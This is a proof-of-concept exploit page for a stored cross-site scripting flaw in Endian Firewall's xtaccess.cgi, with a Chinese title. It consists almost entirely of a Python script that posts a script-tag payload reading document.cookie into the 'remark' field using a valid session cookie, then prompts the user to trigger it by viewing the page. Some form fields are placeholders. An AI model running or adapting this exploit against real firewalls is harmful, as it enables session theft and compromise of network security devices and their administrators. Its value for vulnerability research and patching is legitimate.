CVE-2026-34811 Endian Firewall存储型XSS漏洞

import requests # Target configuration target_url = "http://<target-ip>/cgi-bin/xtaccess.cgi" session_cookie = "<valid_session_id>" # Malicious payload to be injected in the 'remark' parameter xss_payload = "<script>alert(document.cookie);</script>" # Headers and Cookies headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } cookies = { "SID": session_cookie } # Data payload data = { "remark": xss_payload, "action": "save", # Adjust based on actual form action "other_param": "value" } try: # Send POST request to inject payload response = requests.post(target_url, headers=headers, cookies=cookies, data=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger the vulnerability by visiting the page that displays the remark.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")